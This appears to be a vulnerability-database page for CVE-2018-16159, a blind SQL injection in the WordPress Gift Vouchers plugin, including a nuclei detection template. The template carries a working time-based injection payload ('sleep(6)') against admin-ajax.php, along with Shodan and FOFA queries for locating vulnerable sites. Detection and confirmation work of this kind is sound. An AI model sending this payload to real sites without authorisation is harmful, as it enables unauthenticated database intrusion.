Browse / CVEs / CVE-2018-16159
CVE-2018-16159· codemenschen / gift vouchers· CWE-89
WordPress Gift Voucher <4.1.8 - Blind SQL Injection
criticalseverity
9.8CVSS score
49.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
Fix
Fixed in version 4.1.8.
How to confirm it
Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "images") && contains(body, "title")Run it with nuclei: nuclei -id CVE-2018-16159 -u <target>
The full check
id: CVE-2018-16159
info:
name: WordPress Gift Voucher <4.1.8 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
remediation: Fixed in version 4.1.8.
reference:
- https://wpscan.com/vulnerability/9117
- https://wordpress.org/plugins/gift-voucher/
- https://www.exploit-db.com/exploits/45255/
- https://nvd.nist.gov/vuln/detail/CVE-2018-16159
- https://wpvulndb.com/vulnerabilities/9117
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-16159
cwe-id: CWE-89
epss-score: 0.49481
epss-percentile: 0.98902
cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: codemenschen
product: gift_vouchers
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/gift-voucher/"
fofa-query: body="/wp-content/plugins/gift-voucher/"
tags: time-based-sqli,cve,cve2018,sqli,wordpress,unauth,wp,gift-voucher,edb,wpscan,wp-plugin,codemenschen,vkev,vuln
http:
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=wpgv_doajax_front_template&template_id=1 and sleep(6)#
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "images") && contains(body, "title")'
condition: andReferences
- https://wpscan.com/vulnerability/9117
- https://wordpress.org/plugins/gift-voucher/
- https://www.exploit-db.com/exploits/45255/
- https://nvd.nist.gov/vuln/detail/CVE-2018-16159
- https://wpvulndb.com/vulnerabilities/9117
Use this check only on systems you are authorised to test. Where the data comes from